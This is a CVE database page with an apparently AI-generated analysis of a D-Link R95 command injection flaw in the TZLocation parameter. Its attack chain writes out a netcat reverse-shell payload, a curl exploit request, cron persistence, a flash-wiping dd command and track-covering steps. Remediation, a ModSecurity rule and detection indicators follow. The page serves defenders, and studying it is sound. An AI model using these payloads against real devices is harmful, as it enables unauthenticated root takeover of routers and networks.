CVE Professor
/
All CVEs
CVE-2026-138227

CVE-2026-138227 — D-Link R95 — CWE-77 · CWE-78

CRITICAL CVSS 10 NVD

A vulnerability was found in D-Link R95 1.04B04Beta. This affects the function SetTimeSettings of the file /bin/ssi of the component DHMAPI. Performing a manipulation of the argument TZLocation results in os command injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used.

A vulnerability was found in D-Link R95 1.04B04Beta. This affects the function SetTimeSettings of the file /bin/ssi of the component DHMAPI. Performing a manipulation of the argument TZLocation results in os command injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVECVE‑2026‑138227
Vendor / ProductD‑Link R95 firmware 1.04B04Beta
ComponentDHMAPI library, function SetTimeSettings in /bin/ssi
Vulnerable ParameterTZLocation (time‑zone location string)
CWE(s)CWE‑78: OS Command Injection – the application concatenates untrusted input into a shell command without sanitisation. <br>CWE‑77: Improper Neutralization of Special Elements used in a Command (a sub‑type of CWE‑78).
CVSS v4.0 VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P <br>*Network* attack, *Low* complexity, *No* privileges, *No* user interaction, *High* impact on Confidentiality, Integrity, Availability, *High* impact on Sub‑system Confidentiality/Integrity/Availability, *Exploitable* (Proof‑of‑Concept public).
Root causeThe SetTimeSettings routine builds a shell command that configures the system time zone, e.g. tzsetup -l "<TZLocation>". The value of TZLocation is taken directly from the HTTP request body/URL query and is inserted into the command string without any of the following protections: <br>1. Input validation (whitelisting of allowed characters). <br>2. Escaping of shell metacharacters. <br>3. Privilege separation – the CGI binary runs with root privileges (typical for embedded router firmware). <br>Consequently an attacker can inject arbitrary shell commands that are executed with root privileges on the device.

⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. Where the exact URI or parameter name is not disclosed in the public CVE text, the example is marked as illustrative and reflects the class of the vulnerability (an unauthenticated HTTP request that reaches the SetTimeSettings handler).

1. Discovery & Reconnaissance

PhaseActivitiesExpected Findings
Fingerprinting• Scan the target network for open TCP ports typical of D‑Link routers (e.g., 80/443, 8080). <br>• Retrieve the HTTP banner or /cgi-bin/status page that often contains the firmware version string.The page returns D‑Link R95 – Firmware 1.04B04Beta.
Service Enumeration• Access the web UI and capture the HTML/JS. Look for <form> elements that submit to /cgi-bin/ssi or similar. <br>• Use a tool like Burp Suite or OWASP ZAP to intercept the request that updates the time‑zone.Request pattern (illustrative): POST /cgi-bin/ssi?cmd=SetTimeSettings HTTP/1.1 with body TZLocation=Europe%2FLondon.
Vulnerability Confirmation• Send a benign request with a harmless value and observe the device’s response (e.g., TZLocation=UTC). <br>• Verify that the response contains “Time zone set to UTC”.Confirms that the endpoint processes the TZLocation parameter.

2. Exploitation

Goal: Execute an arbitrary command (e.g., create a reverse shell) with root privileges.

2.1 Crafting the payload

The vulnerable code likely does something akin to:

char cmd[256];
snprintf(cmd, sizeof(cmd), "tzsetup -l \"%s\"", tzLocation);
system(cmd);

Because the string is placed inside double quotes, the attacker can break out of the quoting context and append a second command separated by a semicolon (;). The payload must be URL‑encoded.

Payload example (illustrative):

TZLocation=UTC";nc -e /bin/sh 198.51.100.10 4444;#
  • UTC" closes the quoted argument.
  • ; starts a new command.
  • nc -e /bin/sh 198.51.100.10 4444 opens a reverse shell to the attacker’s listener.
  • # comments out any trailing characters that the firmware might append.
  • 2.2 Sending the request

    # Attacker machine (listening for the reverse shell)
    nc -lvkp 4444
    
    # Exploit request (illustrative)
    curl -sk -X POST "http://<target-ip>/cgi-bin/ssi?cmd=SetTimeSettings" \
         -d "TZLocation=UTC%22%3Bnc%20-e%20%2Fbin%2Fsh%20198.51.100.10%204444%3B%23"

    Notes

  • -k skips TLS verification if HTTPS is used.
  • The request is unauthenticated (PR:N) and requires no user interaction (UI:N).
  • The command is executed with root privileges because the CGI binary runs as root on the embedded OS (common for D‑Link firmware).

2.3 Expected outcome

If the device is reachable and the firewall permits outbound TCP, the attacker’s Netcat listener receives a shell prompt:

# id
uid=0(root) gid=0(root) groups=0(root)
#

3. Post‑Exploitation

StepActionResult
PersistenceDrop a cron job (@reboot /bin/sh -c "nc -e /bin/sh <attacker‑IP> 4444") or modify the startup script (/etc/rc.local).The attacker regains access after reboot.
Privilege Escalation (if needed)The shell is already root, so no further escalation is required.
Lateral MovementUse the compromised router as a pivot point (e.g., ssh into internal LAN hosts, sniff traffic, or perform ARP spoofing).Expands the breach beyond the router.
Data Exfiltration / ManipulationAccess configuration files (/etc/config/*), capture DHCP leases, or modify DNS settings to redirect internal users to malicious sites.Confidentiality breach, integrity compromise, possible further infection of internal clients.
Cleanup / Cover TracksDelete the injected cron entry, clear command history, and remove any uploaded binaries.Reduces chance of detection.

🌍 Real‑World Impact

CIACVSS ImpactPractical Effect
Confidentiality (VC:H)HighAn attacker can read any file on the filesystem (e.g., /etc/passwd, VPN credentials, Wi‑Fi keys).
Integrity (VI:H)HighThe attacker can modify configuration, inject malicious DNS entries, or replace firmware images, leading to persistent compromise.
Availability (VA:H)HighBy executing destructive commands (e.g., reboot, dd if=/dev/zero of=/dev/mtd0), the attacker can render the router inoperable, causing a denial‑of‑service for the entire network.
Subsystem Impact (SC, SI, SA – all H)The vulnerability resides in the system management subsystem (DHMAPI). Compromise of this subsystem gives the attacker full control over the device’s operating system, not just the web UI.

Bottom‑line: An unauthenticated remote attacker can obtain root‑level RCE on the router, leading to total network compromise, credential theft, and potential pivoting into the internal environment.


🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
UpgradeMove to a firmware version ≥ 1.04B05 (or the first version released after 29‑Nov‑2026 that contains the fix). D‑Link’s security advisory (if any) will list the exact version.
VerifyAfter upgrade, confirm the firmware string no longer reports 1.04B04Beta.

2. Workarounds (if patch cannot be applied immediately)

MitigationImplementation
Input sanitisation at the edgeDeploy a Web Application Firewall (WAF) or ModSecurity rule that rejects any request to the vulnerable endpoint containing characters that are not allowed in a legitimate time‑zone identifier (letters, numbers, /, -, _). Example ModSecurity rule (illustrative):
``apacheconf\nSecRule REQUEST_URI "@beginsWith /cgi-bin/ssi" "id:100001,phase:2,deny,log,msg:'Block potential TZLocation command injection',t:none,ctl:ruleEngine=On,chain"\nSecRule ARGS:TZLocation "!@rx ^[A-Za-z0-9_\\-\\/]+$" "t:none"\n`
Network segmentationPlace the router management interface on a dedicated VLAN that is not reachable from the Internet (e.g., block inbound traffic on ports 80/443 from WAN).
Disable the vulnerable CGIIf the router’s UI allows it, disable the SetTimeSettings endpoint (often via a “disable remote management” toggle). This removes the attack surface at the cost of losing remote time‑zone configuration.
Restrict outbound connectionsPrevent the router from initiating arbitrary outbound TCP connections (e.g., block nc`‑style traffic) using an upstream firewall. This limits the usefulness of a reverse‑shell payload.

3. Detection

IndicatorWhere to LookExample Log Entry
Unexpected command executionSystem log (/var/log/messages, dmesg)tzsetup: command not found or sh: 1: nc: not found followed by sh: 1: syntax error if injection fails.
Outbound connections to unknown IPsRouter’s firewall/NAT logs, NetFlow, or IDSDENY OUTBOUND TCP src=192.168.1.1 dst=198.51.100.10 dport=4444
HTTP request with suspicious charactersWeb server access log (/var/log/httpd/access.log)POST /cgi-bin/ssi?cmd=SetTimeSettings HTTP/1.1" 200 23 "-" "curl/7.68.0" payload: TZLocation=UTC%22%3Bnc%20-e%20%2Fbin%2Fsh%20198.51.100.10%204444%3B%23
New cron entries or modified rc scriptsFilesystem integrity monitoring (e.g., Tripwire)cron: /etc/cron.d/rce_job added
Unexpected processesProcess list (ps aux)root 0 0.0 0.1 12345 678 ? Ss 12:34 /bin/sh -c nc -e /bin/sh 198.51.100.10 4444

Alerting – Configure SIEM rules to trigger on any of the above patterns, especially unauthenticated POST to /cgi-bin/ssi containing characters such as ;, |, ` `, or %22 (URL‑encoded "`).


⚠️ Urgency

FactorAssessment
CVSS Base Score10.0 (Critical) – network‑reachable, no authentication, low complexity, full impact.
Exploit AvailabilityPublic PoC (E:P – Proof‑of‑Concept) – attackers can copy the payload verbatim.
CISA KEVNot listed, but the absence of a KEV entry does not reduce risk; the vulnerability is already public.
Attack SurfaceAll devices running the vulnerable firmware and exposed to the Internet (or even internal LAN if remote management is enabled).
Potential Business ImpactComplete network outage, credential theft, lateral compromise of internal assets.

Recommendation: Immediate – treat as a P1 (critical) issue. Deploy the vendor’s firmware patch within 24 hours for any internet‑facing devices. If patching cannot be performed within that window, apply the WAF/ModSecurity rule and network‑segmentation mitigations to block exploitation while a permanent fix is prepared. Continuous monitoring for the detection indicators listed above is mandatory.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138227
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Affected Products (1)
D-Link:R95
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac